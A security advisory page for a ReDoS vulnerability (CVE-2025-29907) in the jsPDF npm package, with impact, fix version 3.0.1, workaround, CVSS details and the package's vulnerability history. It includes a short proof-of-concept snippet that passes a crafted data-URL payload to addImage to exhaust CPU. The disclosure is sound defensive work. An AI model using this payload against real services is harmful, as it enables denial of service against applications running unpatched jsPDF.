High

jsPDF Bypass Regular Expression Denial of Service (ReDoS)

  • Disclosed: 18.03.2025
  • Updated: 11.10.2026 10:22

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload:

js
import { jsPDF } from "jpsdf" 

const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try {
 doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
  const endTime = performance.now()
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}

doc.save("a4.pdf");

Patches

The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Workarounds

Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package jspdf < 3.0.1 3.0.1

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-400, CWE-770
Platform
npm
Package
jspdf
Disclosed
18.03.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w532-jxjh-hjhj - CC BY 4.0

Vulnerability history: jspdf

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
03.2021 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 9
  • Medium 4

Disclosures per year

  1. 2021: 3
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 2
  6. 2026: 10
Severity:
  1. Critical · 9.6 CVE-2026-31938 < 4.2.1 4.2.1
  2. High · 8.1 CVE-2026-31898 < 4.2.1 4.2.1
  3. Critical CVE-2025-68428 < 4.0.0 4.0.0
  4. High · 7.5 CVE-2025-57810 < 3.0.2 3.0.2
  5. jsPDF Bypass Regular Expression Denial of Service (ReDoS) this entry
    High CVE-2025-29907 < 3.0.1 3.0.1
  6. High · 7.5 CVE-2021-23353 < 2.3.1 2.3.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.